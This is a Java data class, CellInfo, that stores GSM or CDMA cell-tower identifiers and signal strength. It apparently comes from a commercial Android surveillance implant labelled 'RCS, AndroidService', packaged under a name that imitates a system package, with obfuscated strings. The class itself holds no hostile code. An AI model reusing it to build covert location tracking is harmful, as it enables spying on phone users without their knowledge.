/* *******************************************
* Copyright (c) 2011
* HT srl, All rights reserved.
* Project : RCS, AndroidService
* File : CellInfo.java
* Created : 6-mag-2011
* Author : zeno
* *******************************************/
package com.android.dvci;
import com.android.mm.M;
public class CellInfo {
public int mcc = -1;
public int mnc = -1; // sid
public int lac = -1; // nid
public int cid = -1; // bid
public int sid;
public int nid;
public int bid;
public int rssi;
public boolean valid;
public boolean gsm;
public boolean cdma;
public void setGsm(int mcc, int mnc, int lac, int cid, int rssi) {
gsm = true;
cdma = false;
valid = true;
this.rssi = rssi;
this.mcc = mcc;
this.mnc = mnc;
this.lac = lac;
this.cid = cid;
if (this.mcc < 0 || this.mnc < 0 || this.lac < 0 || this.cid < 0) {
valid = false;
}
}
public void setCdma(int sid, int nid, int bid, int rssi) {
gsm = false;
cdma = true;
valid = true;
this.rssi = rssi;
this.sid = sid;
this.nid = nid;
this.bid = bid;
this.mnc = sid;
this.lac = nid;
this.cid = bid;
if (this.sid < 0 || this.nid < 0 || this.bid < 0) {
valid = false;
}
}
@Override
public String toString() {
final StringBuffer mb = new StringBuffer();
if (gsm) {
mb.append(M.e("MCC: ") + mcc); //$NON-NLS-1$
mb.append(M.e(" MNC: ") + mnc); //$NON-NLS-1$
mb.append(M.e(" LAC: ") + lac); //$NON-NLS-1$
mb.append(M.e(" CID: ") + cid); //$NON-NLS-1$
}
if (cdma) {
mb.append(M.e("SID: ") + sid); //$NON-NLS-1$
mb.append(M.e(" NID: ") + nid); //$NON-NLS-1$
mb.append(M.e(" BID: ") + bid); //$NON-NLS-1$
}
return mb.toString();
}
}